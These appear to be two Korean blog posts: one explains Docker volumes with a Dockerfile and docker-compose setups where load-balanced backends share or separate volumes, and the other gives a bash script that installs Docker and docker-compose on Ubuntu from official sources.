(load balancer로 백엔드를 여러개 구성하면, 각각의 개인 저장 파일을 참조하기 때문에 문제가 발생함)

이 문제를 각각의 backend 를 공용 volume에 마운트하여 로컬 스토리지를 같이 공유하여 해결함.

도커 Volume이란?

도커를 사용하여 앱을 실행하여 어떤 이미지나 파일을 저장한다고 해보자.

나중에 사용하지 않는다고 그 앱(도커 이미지)을 지워버리면, 내부에 저장되어있는 이미지 혹은 파일도 다 날아간다.

하지만 그 앱을 Volume에 마운트하여 사용하면, 그 Volume을 지워버리지 않는 이상 파일이 보존된다.

즉, 파일들을 날라가지 않게 저장해주는 도커 전용 스토리지라고 보면 된다.

Docker 파일 Volume 사용하여 작성하는법

솔직히 Docker-compose 파일을 사용하지 않는다면 Dockerfile은 변경할게 없다.

하지만 Docker compose를 사용하지 않고 Docker만 사용하여 Volume을 마운트한다면?

아래와 같이 하면 됨. (파이썬 기본 예시로 듬)

FROM python:3.7.13-slim

WORKDIR /backend
COPY requirements.txt /backend/requirements.txt

RUN apt-get update && apt-get install ffmpeg libsm6 libxext6 -y
RUN pip install --upgrade pip && \
    pip install --no-cache-dir -r requirements.txt

COPY . .

# 여기다 volume 지정. 단순히 /backend는 그냥 volume 이름임
VOLUME ["/backend"]

EXPOSE 5000
CMD ["flask", "run", "--host=0.0.0.0"]

Docker compose 파일 Volume 사용하여 작성하는법

업무로 인해 로드밸런서 쓰고 공용으로 Volume을 마운트했다.

version: '3'

services:
  frontend:
    build: ./frontend
    ports:
      - "3000:80"
    environment:
      REACT_BACKEND_URL: http://localhost:80/api
    depends_on:
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10
    networks:
      - my-network
# 공용 volume 이름 mount
  backend1:
    build: ./backend
    volumes:
      - shared-backend-data:/backend
    ports:
      - "5001:5000"
    networks:
      - my-network

  backend2:
    build: ./backend
    volumes:
      - shared-backend-data:/backend
    ports:
      - "5002:5000"
    networks:
      - my-network

  # Uncomment and repeat for backend3 to backend10
  # backend3:
  #   build: ./backend
  #   volumes:
  #     - shared-backend-data:/backend
  #   ports:
  #     - "5003:5000"
  #   networks:
  #     - my-network

  nginx:
    build:
      context: ./nginx
    ports:
      - "80:80"
    networks:
      - my-network
    environment:
      - REACT_FRONTEND_URL=http://frontend:80
      - REACT_BACKEND_URL=http://backend:5000
    depends_on:
      - frontend
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10

networks:
  my-network:
    external: true
# 여기 하단에 mount할 volume 명시
volumes:
  shared-backend-data:

만약 개별로 volume을 지정하여 쓸 것이라면

각각 이름을 지정하고 하단에 각 이름을 다 명시하자

version: '3'

services:
  frontend:
    build: ./frontend
    ports:
      - "3000:80"
    environment:
      REACT_BACKEND_URL: http://localhost:80/api
    depends_on:
      - backend1
      - backend2
      # - backend3
      # - backend4
      # - backend5
      # - backend6
      # - backend7
      # - backend8
      # - backend9
      # - backend10
    networks:
      - my-network

# 아래 /app 을 본인의 Dockerfile WORKDIR 이름으로 변경!
  backend1:
    build: ./backend
    volumes:
      - backend1-data:/app
    ports:
      - "5001:5000"
    networks:
      - my-network

  backend2:
    build: ./backend
    volumes:
      - backend2-data:/app
    ports:
      - "5002:5000"
    networks:
      - my-network

  # Uncomment and repeat for backend3 to backend10
  # backend3:
  #   build: ./backend
  #   volumes:
  #     - backend3-data:/app
  #   ports:
  #     - "5003:5000"
  #   networks:
  #     - my-network

  nginx:
    build:
      context: ./nginx
    ports:
      - "80:80"
    networks:
      - my-network
    environment:
      - REACT_FRONTEND_URL=http://frontend:80
      - REACT_BACKEND_URL=http://backend:5000
    depends_on:
      - frontend
      - backend1
      - backend2
      # - backend3

networks:
  my-network:
    external: true

# 여기다 각각 volume 명시
volumes:
  backend1-data:
  backend2-data:

docker 우분투에 sh 로 한번에 설치하기 (docker, docker-compose) 포함

티멀 — Fri, 7 Jun 2024 08:49:27 +0900

도커, 도커 컴포즈 한번에 설치하기

아래 파일 다운받고 아래의 순서대로 실행

1. chmod +x install_docker_and_compose.sh

2. ./install_docker_and_compose.sh

install_docker_and_compose.sh

0.00MB

sh 파일은 이렇게 생김.

경우에 따라 커스터마이즈 해서 쓰면 될듯?

#!/bin/bash

# 1. 우분투 시스템 패키지 업데이트
sudo apt-get update

# 2. 필요한 패키지 설치
sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common

# 3. Docker의 공식 GPG키를 추가
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

# 4. Docker의 공식 apt 저장소를 추가
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

# 5. 시스템 패키지 업데이트
sudo apt-get update

# 6. Docker 설치
sudo apt-get install -y docker-ce docker-ce-cli containerd.io

# 7. 도커 컴포즈 설치
sudo curl -L "https://github.com/docker/compose/releases/download/1.28.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

# 8. 권한 부여
sudo chmod +x /usr/local/bin/docker-compose

# 9. 심볼릭 링크 설정
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

# 10. Docker Compose 버전 확인 (잘 나오면 설치 성공)
docker-compose --version